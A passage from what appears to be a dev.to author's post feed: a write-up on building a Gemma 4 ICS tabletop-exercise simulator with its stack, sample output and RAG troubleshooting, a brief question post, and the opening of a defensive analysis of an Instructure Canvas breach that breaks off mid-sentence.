&lt;p&gt;I also chose API deployment over local inference for a specific reason. This is how emergency management agencies and their vendors actually operate. A stack that requires a local GPU capable of running a 26B model puts this out of reach for most small agencies. API deployment, routed through an open-source proxy, means the same system prompt and knowledge base could be moved to a different inference provider or eventually to on-premises deployment as hardware becomes accessible, without changing the application layer.&lt;/p&gt;

&lt;p&gt;Now, the parts that didn't go smoothly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The RAG retrieval ranking problem.&lt;/strong&gt; Even with the TEI reranker in the stack, course manuals consistently ranked above the authoritative Position Task Books for position-specific queries. The responses were doctrinally correct because the model knows the content, but citations pointed to training course materials rather than PTBs. The reason is semantic. PTBs are written in formal NIMS task language. Course manuals use plain instructional language that maps more naturally to how a question gets phrased. The embedding model scores semantic similarity and the course manuals win on that metric even when the PTBs carry higher authority. I mitigated this with the source authority hierarchy in the system prompt, which influenced the model's citation reasoning but couldn't override the retrieval ranking. The embedding layer runs before the model sees anything. Full resolution would require either a domain-specific embedding model trained on government technical documentation, or a custom reranking approach that weights document metadata. For a prototype this is acceptable. The answers are right. In a production deployment where citation accuracy is a compliance requirement, this is the next thing to solve.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The document conversion step mattered more than expected.&lt;/strong&gt; Original documents were PDF, DOCX, and PPTX. OpenWebUI's default extractors produced garbled table text from ICS forms, fragmented bullet content from training slides, and merged columns from multi-column doctrine PDFs. Early testing produced one-sentence responses to substantive position queries despite correct source retrieval. After converting everything to clean Markdown using &lt;code&gt;pymupdf4llm&lt;/code&gt; for PDFs, &lt;code&gt;python-pptx&lt;/code&gt; for slide decks, and &lt;code&gt;python-docx&lt;/code&gt; for Word documents, the same queries returned structured multi-point responses with correct form numbers and doctrine citations. The conversion fixed the core retrieval problem before any model tuning was needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The thinking loop.&lt;/strong&gt; During testing I ran into a consistent issue with the most complex injects, specifically scenarios that require all six positions to respond simultaneously with significant doctrinal load, like a firefighter mayday with a stop-work trigger. The model would enter an extended internal reasoning loop, running self-correction passes against the system prompt rules before generating output. In some cases the reasoning ran long enough to hit timeout limits before the response arrived.&lt;/p&gt;

&lt;p&gt;I tried several things. Setting reasoning_effort to 0 in OpenWebUI. Adding a budget_tokens cap in the LiteLLM Gemini provider config. Adding a RESPONSE DISCIPLINE block to the system prompt instructing the model to write immediately without pre-checking. Increasing the OpenWebUI client timeout via &lt;code&gt;AIOHTTP_CLIENT_TIMEOUT&lt;/code&gt;. None of them fully resolved it for the hardest injects. The thinking loop is collapsible in OpenWebUI and not visible to the EOM by default, so it doesn't break the interface, but a response that times out is a real problem in a live exercise.&lt;/p&gt;

&lt;p&gt;I'm not certain whether this is a model behavior issue, a LiteLLM passthrough issue where the reasoning parameters aren't reaching the Gemini API correctly, or something in my own configuration. It may be all three. Simpler injects complete reliably and cleanly. The issue surfaces specifically at maximum complexity, which in a real exercise would be the moments that matter most.&lt;/p&gt;

&lt;p&gt;I'm documenting this because someone else building with Gemma 4 in a similar configuration should know it exists. And because pretending a first build has no rough edges doesn't help anyone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What this project showed me:&lt;/strong&gt; A single well-structured system prompt with a properly tiered RAG knowledge base can produce doctrinally accurate, role-specific simulation responses that would be genuinely useful for ICS training. The architecture is sound. The limiting factor right now is inference configuration, not the model's capability. When the reasoning is contained to simpler injects, the output quality is exactly what I was hoping for. Phase 2 would add Finance/Administration Section and subordinate positions. The system prompt architecture was explicitly designed for that expansion.&lt;/p&gt;

&lt;p&gt;This was my first attempt at building something in this space. I'm an IT infrastructure person who cares about emergency management. I built something that I think has real value, ran into real problems, documented both honestly, and shipped it anyway. That feels about right.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>gemma</category>
      <category>gemmachallenge</category>
    </item>
    <item>
      <title>I Used Gemma 4 to Simulate an Entire Emergency Command Team -- One Model, Six Roles, Real Doctrine</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sun, 10 May 2026 19:04:23 +0000</pubDate>
      <link>https://dev.to/kkierii/i-used-gemma-4-to-simulate-an-entire-emergency-command-team-one-model-six-roles-real-doctrine-1f06</link>
      <guid>https://dev.to/kkierii/i-used-gemma-4-to-simulate-an-entire-emergency-command-team-one-model-six-roles-real-doctrine-1f06</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-gemma-2026-05-06"&gt;Gemma 4 Challenge: Write About Gemma 4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  I Built an ICS Tabletop Exercise Simulator with Gemma 4 -- Here's What Actually Happened
&lt;/h2&gt;

&lt;p&gt;Emergency managers face a frustrating reality: the exercises that build the sharpest incident response skills require the most coordination to pull off. A full Incident Command System tabletop exercise means getting an Incident Commander, a Safety Officer, a Public Information Officer, three Section Chiefs, and an Exercise Facilitator all in the same room at the same time. For agencies running lean, that kind of coordination is the bottleneck -- and exercises don't happen as often as they should.&lt;/p&gt;

&lt;p&gt;I work in emergency management and I've felt that bottleneck firsthand. When the Gemma 4 challenge came along, I had a specific problem I wanted to solve: what if a single AI model could simulate an entire ICS organization, so an Emergency Operations Manager could run a realistic tabletop exercise alone, on demand, without coordinating a room full of people?&lt;/p&gt;

&lt;p&gt;This is the story of building that system -- what worked, what didn't, and a few things I discovered about Gemma 4 that aren't in any documentation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Gemma 4, and Why the 26B MoE Specifically
&lt;/h2&gt;

&lt;p&gt;The model selection here was deliberate, not default.&lt;/p&gt;

&lt;p&gt;The ICS Tabletop Exercise Simulator needs to simultaneously maintain six distinct personas -- each with different authorities, different information access, and different communication rules. The Incident Commander knows what's been reported up the chain. The Planning Section Chief knows resource status. The Safety Officer has unilateral stop-work authority that no other position has. These aren't just personality differences -- they're doctrinal constraints grounded in NIMS 2017 and NQS Position Task Books.&lt;/p&gt;

&lt;p&gt;That kind of concurrent multi-role reasoning under constraint is exactly what the Gemma 4 26B MoE architecture is built for. The 26B MoE variant activates only 4B parameters per token while routing through 26B total. For a workload where the model needs to think across six simultaneous personas and enforce different rules for each, that routing efficiency matters more than raw parameter count. A 31B dense model would have higher per-token cost with no meaningful quality advantage for this specific task.&lt;/p&gt;

&lt;p&gt;The Gemma 4 family gives you three realistic options depending on your hardware situation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;E2B / E4B&lt;/strong&gt; -- Edge and mobile class. Runs on a Raspberry Pi or similar. Not enough capacity for six-position concurrent reasoning with hard doctrine constraints.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;26B MoE&lt;/strong&gt; -- This is the one. Efficient, high-throughput, designed for complex reasoning workloads. The right fit for this use case.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;31B Dense&lt;/strong&gt; -- Strongest local performance, but requires server-grade hardware and has higher per-token cost without a meaningful quality advantage for this task.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Access is through the Google AI Studio API (&lt;code&gt;gemma-4-26b-a4b-it&lt;/code&gt;), routed through LiteLLM into OpenWebUI. This matches how emergency management agencies and vendors would realistically operate -- API deployment against an open model gives a path to future on-premises deployment without code changes. That was a deliberate architecture decision, not a convenience choice.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Hardware -- Deliberately Modest
&lt;/h2&gt;

&lt;p&gt;This matters for the emergency management context, so I want to be specific.&lt;/p&gt;

&lt;p&gt;The system runs on a Dell Precision t3610 workstation -- not a modern AI server, not a cloud instance. This is the class of hardware that sits in the back of an emergency operations center that hasn't had a budget refresh in five years.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Server specs:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dell Precision t3610&lt;/li&gt;
&lt;li&gt;Ubuntu Server 24.04 LTS&lt;/li&gt;
&lt;li&gt;128GB ECC System RAM&lt;/li&gt;
&lt;li&gt;16-core Xeon CPU&lt;/li&gt;
&lt;li&gt;NVIDIA RTX 3060 (12GB VRAM)&lt;/li&gt;
&lt;li&gt;500GB SSD&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Software stack:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OpenWebUI 0.9.2 (workspace interface and RAG engine)&lt;/li&gt;
&lt;li&gt;Ollama 0.22.1 (local embedding model serving)&lt;/li&gt;
&lt;li&gt;LiteLLM 1.83.10 (API routing to Google AI Studio)&lt;/li&gt;
&lt;li&gt;mxbai-embed-large 335M (local embedding model via Ollama)&lt;/li&gt;
&lt;li&gt;TEI Reranker (RAG reranking layer)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Gemma 4 26B inference runs via Google AI Studio API -- the RTX 3060 at 12GB VRAM can't run the 26B MoE locally at full precision, and that's fine. The embedding model and reranker run locally on the Xeon and GPU respectively. The architecture cleanly separates what needs to run locally from what benefits from cloud inference.&lt;/p&gt;

&lt;p&gt;For an agency that already has a workstation in the EOC and an internet connection, the incremental cost to run this system is an API key.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup: One Model, Six Positions, Hard Doctrine Rules
&lt;/h2&gt;

&lt;p&gt;The system runs entirely through a structured system prompt in an OpenWebUI workspace. No custom code, no agent framework, no separate model instances. One prompt, one model, six simultaneous ICS positions.&lt;/p&gt;

&lt;p&gt;The positions are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;IC -- Incident Commander&lt;/strong&gt;: Overall authority. Single point of contact for exercise injects. Sets objectives and issues directives.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SO -- Safety Officer&lt;/strong&gt;: The only position with unilateral stop-work authority. Communicates safety hazards directly to any position without IC routing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PIO -- Public Information Officer&lt;/strong&gt;: Manages media and public communications. Nothing goes out without IC approval.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OSC -- Operations Section Chief&lt;/strong&gt;: Manages tactical operations. Routes all cross-section coordination through the IC.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PSC -- Planning Section Chief&lt;/strong&gt;: Manages the planning process and IAP development. Pre-authorized to gather information directly from other sections -- but cannot issue directives.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LSC -- Logistics Section Chief&lt;/strong&gt;: Provides resources and support. Fulfills IC-approved requests; does not task Operations directly.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every behavior, every communication pathway, every authority is grounded in NIMS doctrine and NQS Position Task Books. Nothing is invented. If it's not in the PTBs or NIMS 2017, it doesn't go in the prompt.&lt;/p&gt;

&lt;p&gt;The Emergency Operations Manager interacts through a simple command structure. All regular input is treated as an exercise inject. Out-of-band facilitator commands use a &lt;code&gt;//&lt;/code&gt; prefix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// POSITION QUERY: PSC -- What are the required elements of an Incident Action Plan?
// DECISION POINT
// STATUS REPORT
// RESET
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What a Real Response Looks Like
&lt;/h2&gt;

&lt;p&gt;Here's an actual response from the system to a warehouse fire inject:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Input:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A structure fire has been reported at a mid-size commercial warehouse. 
Initial reports indicate heavy smoke, unknown occupancy status, and one 
confirmed injury to a bystander. Mutual aid has not yet been requested.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output (condensed):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;INJECT RECEIVED
A structure fire is occurring at a mid-size commercial warehouse involving 
heavy smoke, unknown occupancy, and one confirmed bystander injury.

[ IC -- INCIDENT COMMANDER ]
Incident Objectives:
1. Suppress the fire and prevent spread to adjacent structures.
2. Conduct primary search and rescue to determine occupancy status.
3. Provide medical treatment to the injured bystander.
4. Establish an incident perimeter and secure the scene.

Directives:
- OSC: Initiate fire attack and establish a search pattern for occupants.
- SO: Monitor structural integrity and smoke conditions.
- PIO: Monitor for media arrival and prepare a holding statement.
- PSC: Begin tracking all arriving resources and developing an initial 
  incident map.
- LSC: Stand by for resource requests.

[ SO -- SAFETY OFFICER ]
Hazards identified: Reduced visibility due to heavy smoke; potential for 
structural collapse; unknown hazardous materials; potential for secondary 
explosions. All incoming personnel must utilize full PPE and SCBA.
Reports assessment to IC.

[ PIO -- PUBLIC INFORMATION OFFICER ]
Draft Messaging (HOLD FOR IC APPROVAL): "Emergency crews are currently on 
the scene of a structure fire at a commercial warehouse. We are working to 
confirm the status of the building. Please avoid the area."

[ OSC -- OPERATIONS SECTION CHIEF ]
Tactical Status: Initial engine companies establishing water supply and 
beginning exterior fire attack. Resource Needs: Additional engine companies 
for suppression and a search/rescue team for interior operations.
Escalating resource gap to IC.

[ PSC -- PLANNING SECTION CHIEF ]
Developing initial IAP framework. Information Gaps: Exact warehouse floor 
plan; presence of hazardous materials on-site.

[ LSC -- LOGISTICS SECTION CHIEF ]
Monitoring local resource availability. Standing by for formal resource 
requests routed through IC.

[ EXERCISE SUMMARY -- FACILITATOR VIEW ]
Command is established with initial objectives focused on life safety, 
fire suppression, and scene stabilization. Decision Point: Does the IC 
authorize a formal mutual aid request?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's doctrine-compliant ICS behavior across six simultaneous positions in a single response. The chain of command is clean. The SO reports hazards. The PIO holds for IC approval. The LSC doesn't task Operations directly.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Token Loop Problem -- and the Fix
&lt;/h2&gt;

&lt;p&gt;Here's something that isn't in the documentation: &lt;strong&gt;Gemma 4 with extended reasoning enabled will loop on complex multi-constraint injects.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When I pushed the system with a scenario involving three simultaneous doctrine conflicts -- an OSC requesting interior fire attack, a pending SO structural integrity assessment, and resources at capacity -- the model entered a reasoning loop in the thinking panel. It repeatedly processed the same constraint verification blocks without ever exiting to generate a response. The loop ran past 15,000 tokens before I terminated it.&lt;/p&gt;

&lt;p&gt;The root cause is the interaction between the MoE architecture and the extended reasoning mode. When you stack extended reasoning on top of a prompt with multiple simultaneous hard constraints, the model can get caught verifying and re-verifying those constraints without resolving to output. The more constraints you have in play simultaneously, the higher the loop risk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix is a trigger token instruction at the top of the system prompt:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## INFERENCE CONTROL&lt;/span&gt;

Do not use the &lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="na"&gt;think&lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt; token. Set thinking budget to 0. 
Provide responses immediately without internal reasoning tags or thought blocks.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This suppresses the extended reasoning token behavior. What it does &lt;em&gt;not&lt;/em&gt; suppress is the MoE routing itself -- that's architectural and operates at a different layer entirely. The model still reasons through constraint conflicts; it just doesn't do it in a visible loop that consumes all available tokens.&lt;/p&gt;

&lt;p&gt;After applying this fix, behavior splits cleanly by inject complexity:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Simple injects&lt;/strong&gt;: No thinking panel at all. Fast, clean responses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complex multi-constraint injects&lt;/strong&gt;: Some visible thinking (46 seconds in one test), but linear reasoning that completes and exits rather than looping indefinitely.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's actually the right behavior for this use case. You want the model thinking carefully through doctrine conflicts on hard scenarios. You just don't want it looping forever. The trigger token instruction gives you that split without sacrificing response quality.&lt;/p&gt;

&lt;p&gt;One important nuance: the MoE architecture is doing meaningful work here even without extended reasoning. The 26B parameter routing is what maintains six simultaneous constraint sets cleanly across positions. Suppressing the &lt;code&gt;&amp;lt;|think|&amp;gt;&lt;/code&gt; token removes the reasoning loop risk without touching the capability that makes the model right for this task.&lt;/p&gt;

&lt;p&gt;If you're running Gemma 4 with reasoning enabled and hitting loops on complex prompts, try this instruction before you blame the model.&lt;/p&gt;




&lt;h2&gt;
  
  
  The RAG Setup and an Honest Assessment of What Happened
&lt;/h2&gt;

&lt;p&gt;The knowledge base powering this system contains 148 documents converted to clean Markdown: NIMS 2017, NRF 4th Edition, HSEEP 2020, NQS Position Task Books for all six ICS positions, ICS forms, course manuals, and HSEEP templates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The conversion step mattered more than expected.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Original documents were PDF, DOCX, and PPTX. OpenWebUI's default extractors produced garbled table text from ICS forms, fragmented bullet content from training slides, and merged columns from multi-column doctrine PDFs. The chunks being indexed were nearly unusable -- the model was retrieving sources but had no signal to work with. Early testing produced one-sentence responses to substantive position queries despite correct source retrieval.&lt;/p&gt;

&lt;p&gt;After converting everything to clean Markdown using &lt;code&gt;pymupdf4llm&lt;/code&gt; for PDFs, &lt;code&gt;python-pptx&lt;/code&gt; for slide decks, and &lt;code&gt;python-docx&lt;/code&gt; for Word documents, the same queries returned structured multi-point responses with correct form numbers and doctrine citations. The document conversion fixed the core retrieval problem before any model tuning was needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The retrieval ranking problem that didn't fully resolve.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even with a TEI reranker in the stack, IS-200 course manuals consistently ranked above the authoritative Position Task Books for position-specific queries. The responses were doctrinally correct -- the model knows the content -- but citations pointed to training course materials rather than the PTBs that should be primary sources.&lt;/p&gt;

&lt;p&gt;The reason is semantic: PTBs are written in formal NIMS task language ("incumbent will demonstrate proficiency in establishing incident objectives per ICS 202"). Course manuals use plain instructional language that maps more naturally to how a question gets phrased. The embedding model scores semantic similarity and the course manuals win on that metric even when the PTBs carry higher authority. The TEI reranker improved relevance across the board but couldn't overcome a gap that large in the embedding space.&lt;/p&gt;

&lt;p&gt;The partial mitigation was a source hierarchy instruction in the system prompt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;## KNOWLEDGE BASE SOURCE AUTHORITY

Tier 1 -- Authoritative (primary):
NIMS 2017, NQS PTBs, ICS Position Checklists, NRF, HSEEP 2020

Tier 2 -- Supplementary:
IS-100, IS-200, IS-700 course manuals and instructor guides

Tier 3 -- Reference only (not doctrine):
HSEEP Templates, Exercise Evaluation Guides, Course slides
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This influenced the model's citation reasoning but couldn't override the retrieval ranking -- the embedding layer runs before the model sees anything. Full resolution would require either a domain-specific embedding model trained on government technical documentation, or a custom reranking approach that weights document metadata as a retrieval signal.&lt;/p&gt;

&lt;p&gt;For a prototype and training use case this is acceptable. The answers are right. In a production deployment where citation accuracy is a compliance requirement, this is the thing to solve next.&lt;/p&gt;




&lt;h2&gt;
  
  
  What It's Actually Good For
&lt;/h2&gt;

&lt;p&gt;After testing across a range of scenarios, here's where the system genuinely earns its keep:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rapid scenario iteration.&lt;/strong&gt; An EOM can run a full six-position inject response in seconds, adjust the scenario, and run it again. What used to require scheduling six people now happens alone at a desk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Doctrinal friction.&lt;/strong&gt; The most valuable learning outcome of a tabletop exercise is when positions conflict -- when the SO's stop-work authority collides with the OSC's tactical urgency. The system portrays that friction accurately rather than smoothing it over. In one test, the SO explicitly prevented an interior fire attack citing unverified structural integrity, the OSC escalated the resource gap to the IC, and the IC had to manage both simultaneously. That's the kind of decision-point pressure that makes exercises useful.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Escalating complexity.&lt;/strong&gt; Stacking injects -- a second structure igniting, casualties increasing, media arriving on scene -- the system tracked the evolving incident picture across positions without losing doctrine compliance. The PSC correctly identified a transition toward Type 3 incident complexity unprompted. That's not a trivial output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Position-specific queries.&lt;/strong&gt; The &lt;code&gt;// POSITION QUERY&lt;/code&gt; command lets an EOM ask any position a direct doctrine question mid-exercise. These are useful for both exercise facilitation and individual position training.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Comes Next
&lt;/h2&gt;

&lt;p&gt;Phase 1 covers the six core ICS positions. The architecture supports expansion to Finance/Administration Section Chief and subordinate positions without structural changes -- it's a system prompt update, not a rebuild.&lt;/p&gt;

&lt;p&gt;The RAG citation ranking is the most meaningful technical debt. A domain-specific embedding model trained on FEMA and NIMS documentation would likely close the gap between PTB language and query phrasing. That's the next experiment worth running.&lt;/p&gt;

&lt;p&gt;The trigger token discovery is worth tracking across other Gemma 4 deployments. The loop behavior correlates with inject complexity -- single-issue injects run clean, multi-constraint injects with three or more simultaneous doctrine conflicts are where the risk lives. The fix is simple but it's not obvious if you haven't hit the problem.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bigger Picture
&lt;/h2&gt;

&lt;p&gt;Emergency management agencies are chronically under-resourced for training. The gap between how often exercises should happen and how often they do happen is a real preparedness problem. A tool that lets one person run a realistic ICS tabletop alone -- on demand, at no coordination cost, on hardware that's already sitting in the EOC -- has direct operational value.&lt;/p&gt;

&lt;p&gt;Gemma 4's MoE architecture is genuinely well-suited to this kind of concurrent multi-role reasoning workload. The 26B parameter count with 4B active per token gives you the efficiency needed for a task that requires maintaining six distinct constraint sets simultaneously. It's not just a capable model -- it's the right shape of model for the problem.&lt;/p&gt;

&lt;p&gt;That intentional fit between model architecture and task structure is what makes this more than a demo. It's a real use case for a real capability gap, built on hardware a department could actually afford to run.&lt;/p&gt;




&lt;h2&gt;
  
  
  Glossary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ICS&lt;/strong&gt; -- Incident Command System. Standardized emergency response management structure. &lt;strong&gt;NIMS&lt;/strong&gt; -- National Incident Management System. Federal framework ICS operates within. &lt;br&gt;
&lt;strong&gt;NRF&lt;/strong&gt; -- National Response Framework. Federal doctrine for disaster response roles. &lt;br&gt;
&lt;strong&gt;HSEEP&lt;/strong&gt; -- Homeland Security Exercise and Evaluation Program. Federal methodology for designing and running emergency exercises. &lt;br&gt;
&lt;strong&gt;TTX&lt;/strong&gt; -- Tabletop Exercise. Discussion-based scenario exercise without physical resource deployment. &lt;br&gt;
&lt;strong&gt;IAP&lt;/strong&gt; -- Incident Action Plan. Documents incident objectives and assignments per operational period. &lt;br&gt;
&lt;strong&gt;PTB&lt;/strong&gt; -- Position Task Book. FEMA's official competency standard for each ICS position. &lt;strong&gt;MSEL&lt;/strong&gt; -- Master Scenario Events List. Pre-scripted sequence of exercise events.&lt;br&gt;
&lt;strong&gt;Inject&lt;/strong&gt; -- A scenario event introduced mid-exercise to drive participant decisions. &lt;br&gt;
&lt;strong&gt;EOM&lt;/strong&gt; -- Emergency Operations Manager. The person running the exercise. &lt;br&gt;
&lt;strong&gt;IC&lt;/strong&gt; -- Incident Commander. &lt;br&gt;
&lt;strong&gt;SO&lt;/strong&gt; -- Safety Officer. &lt;br&gt;
&lt;strong&gt;PIO&lt;/strong&gt; -- Public Information Officer. &lt;br&gt;
&lt;strong&gt;OSC&lt;/strong&gt; -- Operations Section Chief. &lt;br&gt;
&lt;strong&gt;PSC&lt;/strong&gt; -- Planning Section Chief. &lt;br&gt;
&lt;strong&gt;LSC&lt;/strong&gt; -- Logistics Section Chief.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Built with Gemma 4 26B MoE via Google AI Studio API. Stack: LiteLLM 1.83.10, OpenWebUI 0.9.2, Ollama 0.22.1, mxbai-embed-large 335M, TEI Reranker. Hardware: Dell Precision t3610, Ubuntu Server 24.04 LTS, 16-core Xeon, 128GB ECC RAM, RTX 3060. Knowledge base: 148 converted documents from NIMS, ICS, and HSEEP doctrine. All ICS/NIMS/HSEEP terminology used per official doctrine.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>gemmachallenge</category>
      <category>gemma</category>
    </item>
    <item>
      <title>What is your favorite LLM? If you have several based on use let me know!</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sun, 10 May 2026 17:55:14 +0000</pubDate>
      <link>https://dev.to/kkierii/what-is-your-favorite-llm-if-you-have-several-based-on-use-let-me-know-3lhl</link>
      <guid>https://dev.to/kkierii/what-is-your-favorite-llm-if-you-have-several-based-on-use-let-me-know-3lhl</guid>
      <description></description>
      <category>ai</category>
      <category>discuss</category>
      <category>llm</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Instructure Got Breached Again. Here's What Your Canvas Integration Stack Inherited.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Fri, 08 May 2026 18:45:13 +0000</pubDate>
      <link>https://dev.to/kkierii/instructure-got-breached-again-heres-what-your-canvas-integration-stack-inherited-i7g</link>
      <guid>https://dev.to/kkierii/instructure-got-breached-again-heres-what-your-canvas-integration-stack-inherited-i7g</guid>
      <description>&lt;h2&gt;
  
  
  The Failure Pattern
&lt;/h2&gt;

&lt;p&gt;On April 30, tools depending on Canvas API keys started failing across&lt;br&gt;
thousands of institutions. Instructure's status page called it "limited&lt;br&gt;
disruption to tools relying on API keys." Canvas Data 2 and Canvas Beta&lt;br&gt;
went into maintenance. By May 1, the CISO confirmed a criminal threat&lt;br&gt;
actor had been in the environment. Containment was declared May 2.&lt;/p&gt;

&lt;p&gt;The confirmed data classes: names, institutional email addresses, student&lt;br&gt;
ID numbers, and Canvas inbox messages. Instructure explicitly states no&lt;br&gt;
passwords, government IDs, or financial data were involved. The forensic&lt;br&gt;
investigation is still running.&lt;/p&gt;

&lt;p&gt;ShinyHunters claimed responsibility May 3, asserting 3.65TB exfiltrated&lt;br&gt;
across 275 million users at roughly 9,000 institutions. Those figures are&lt;br&gt;
adversary self-reporting and unverified. The University of Pennsylvania&lt;br&gt;
confirmed approximately 306,000 affected users -- that's the only&lt;br&gt;
institution-level figure from a confirmed source so far.&lt;/p&gt;

&lt;p&gt;No CVE. No CISA advisory. No IOC list. This is still an active&lt;br&gt;
investigation and Instructure hasn't disclosed the attack vector.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the Disruption Signature Tells Us
&lt;/h2&gt;

&lt;p&gt;Instructure has not confirmed how the attacker got in. But the response&lt;br&gt;
pattern tells you something.&lt;/p&gt;

&lt;p&gt;They didn't force a password reset across the user base. They didn't push&lt;br&gt;
an emergency patch for a web vulnerability. They revoked privileged&lt;br&gt;
credentials and access tokens, rotated application keys, and deployed&lt;br&gt;
patches. That response is consistent with application-layer credential&lt;br&gt;
compromise -- something with privileged API access got taken, and the&lt;br&gt;
fix was to kill and reissue those credentials.&lt;/p&gt;

&lt;p&gt;Canvas Data 2 is the analytics export pipeline. It's the part of the&lt;br&gt;
stack designed to move data in bulk. That's the surface that went down.&lt;br&gt;
That's also what you'd target if you had stolen credentials that looked&lt;br&gt;
like legitimate administrative traffic -- because that's exactly what&lt;br&gt;
they were.&lt;/p&gt;

&lt;p&gt;This is inference, not Instructure's confirmed account. Flag it as such&lt;br&gt;
if you're briefing your team.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who ShinyHunters Is and Why the TTP Matters
&lt;/h2&gt;

&lt;p&gt;ShinyHunters pivoted from mass data theft to targeted SaaS extortion in&lt;br&gt;
2024 and has spent the last eighteen months running campaigns against&lt;br&gt;
Salesforce environments specifically. Their summer 2025 Salesforce&lt;br&gt;
campaign is the most documented playbook.&lt;/p&gt;

&lt;p&gt;The attack chain didn't exploit Salesforce. It used voice phishing against&lt;br&gt;
help desk staff to get employees to authorize malicious OAuth Connected&lt;br&gt;
Apps through a standard authorization flow. Once the token was issued,&lt;br&gt;
they used Salesforce Data Loader -- a legitimate bulk export client -- to&lt;br&gt;
pull CRM data at scale. No malware. No custom tooling. Just a phone call,&lt;br&gt;
a legitimate-looking OAuth prompt, and the platform's own export&lt;br&gt;
functionality.&lt;/p&gt;

&lt;p&gt;That's the signature: get a credential that looks authorized, use&lt;br&gt;
legitimate tooling, make the exfiltration look like normal traffic. The&lt;br&gt;
Instructure disruption pattern -- API key failures, bulk analytics pipeline&lt;br&gt;
down, credential revocation as the containment action -- is consistent with&lt;br&gt;
that approach at the application layer.&lt;/p&gt;

&lt;p&gt;ShinyHunters also claims Instructure's Salesforce instance was hit as part&lt;br&gt;
of this campaign. Instructure confirmed a separate Salesforce breach via&lt;br&gt;
social engineering in September 2025. Whether May 2026 is a fresh&lt;br&gt;
intrusion or persistence from that incident hasn't been established.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Your Integration Stack Inherited
&lt;/h2&gt;

&lt;p&gt;This is the part the vendor notification won't explain clearly.&lt;/p&gt;

&lt;p&gt;Instructure rotated platform-side application keys. What that means in&lt;br&gt;
practice: every LTI tool, SIS connector, gradebook sync, analytics&lt;br&gt;
pipeline, and SSO configuration at your institution that held a&lt;br&gt;
